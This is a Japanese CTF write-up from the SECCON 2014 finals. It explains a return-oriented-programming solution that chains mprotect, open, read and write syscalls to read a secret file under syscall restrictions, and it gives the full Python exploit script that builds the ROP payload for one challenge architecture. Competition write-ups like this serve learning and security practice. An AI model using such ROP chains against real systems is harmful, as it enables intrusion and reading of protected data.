SECCON 2014全国
Mr. Takedaで参加した。全体9位、日本チーム4位だった。
主に3つめのサーバーの問題を解いた。
解法 : ひたすらROP
syscallが制限されているためopen/read/writeするROPを書かなければならない。
openするファイル名の文字列は既知のアドレスに入れなければならないが、stackのアドレスはランダムであるため、ROP中で生成する必要がある(最初はファイル名がsecretなので*secretという.symstrから引っ張ってこようと思ったのだが、materialが全体をマッピングするのではなかったため利用できなかった。)
また、readのbufferはwritableである必要があるが、これも存在しないためROP中で生成する必要がある。
以上を踏まえて方針を立てる
mprotectは許可されたsyscallのため、これを最初に呼び出してMATERIAL_BASEADDRから0x1000byteをrwx権限とする(mmapはページ境界までメモリを確保するためMATERIAL_BASEADDRから利用する事ができる)。
MATERIAL_BASEADDRからsecretという文字列を書き込む。
MATERIAL_BASEADDR+0x10から256byte(secretlength)null埋めする。
open/read/writeする。
これに必要なROP gadgetはかなり少ない。
pop eax/ebx/ecx/edx
int 0x80
mov [reg1], reg2 ; mov [eax], ecxを使った。
popでレジスタに任意の値をセット出来る。
popと組み合わせてmov[reg1], reg2で任意のアドレスに任意の値を書き込むことが出来る。
popと組み合わせてsyscallをすることが出来る。
これは非常に汎用的で、arch00を解いた後はスムーズに全完すること出来た。
arch00 -> 全てのgadgetが存在する。
arch01 -> 全てのgadgetが存在する。
arch02 -> int 0x80が存在しない。int 0x80; pop ebp; pop edi; pop esi; pop ebx;で代用。
arch03 -> pop ecxが存在しない。pop ecx; pop edx;で代用。
arch03のexploit codeは以下
import struct import sys MATERIAL_BASEADDR = 0x10000000 writable = MATERIAL_BASEADDR + 0x10 pop_eax = 0x0002460f + MATERIAL_BASEADDR pop_ebx = 0x000198ce + MATERIAL_BASEADDR pop_ecx = 0x0002f706 + MATERIAL_BASEADDR pop_ecx_pop_edx = 0x0002e33b + MATERIAL_BASEADDR pop_edx = 0x00001aa2 + MATERIAL_BASEADDR int80 = 0x0009f475 + MATERIAL_BASEADDR int80_pop4 = 0x000ec351 + MATERIAL_BASEADDR mov_peax_ecx = 0x0002db8f + MATERIAL_BASEADDR count = 256 payload = "" # mprotect payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", 125) payload += struct.pack("<I", pop_ebx) payload += struct.pack("<I", MATERIAL_BASEADDR) payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", 0x1000) payload += "JUNK" payload += struct.pack("<I", pop_edx) payload += struct.pack("<I", 0x7) payload += struct.pack("<I", int80_pop4) payload += "JUNK" * 4 # implementation of memset 0 payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", 0x0) payload += "JUNK" for i in range(0, 256, 4): payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", writable+i) payload += struct.pack("<I", mov_peax_ecx) # "secret" write payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", MATERIAL_BASEADDR) payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", 0x72636573) payload += "JUNK" payload += struct.pack("<I", mov_peax_ecx) payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", MATERIAL_BASEADDR+4) payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", 0x7465) payload += "JUNK" payload += struct.pack("<I", mov_peax_ecx) # open payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", 0x5) payload += struct.pack("<I", pop_ebx) payload += struct.pack("<I", MATERIAL_BASEADDR) payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", 0x0) payload += "JUNK" payload += struct.pack("<I", int80_pop4) payload += "JUNK" * 4 fd = int(sys.argv[1]) # probably 0 # read payload += struct.pack("<I", pop_ebx) payload += struct.pack("<I", fd) payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", 0x3) payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", writable) payload += "JUNK" payload += struct.pack("<I", pop_edx) payload += struct.pack("<I", count) payload += struct.pack("<I", int80_pop4) payload += "JUNK" * 4 # write payload += struct.pack("<I", pop_eax) payload += struct.pack("<I", 0x4) payload += struct.pack("<I", pop_ebx) payload += struct.pack("<I", 0x1) payload += struct.pack("<I", pop_ecx_pop_edx) payload += struct.pack("<I", writable) payload += "JUNK" payload += struct.pack("<I", pop_edx) payload += struct.pack("<I", count) payload += struct.pack("<I", int80_pop4) payload += "JUNK" * 4 teamflag = sys.argv[2] sys.stdout.write(struct.pack("<I", len(teamflag))) sys.stdout.write(teamflag) sys.stdout.write(struct.pack("<I", len(payload))) sys.stdout.write(payload)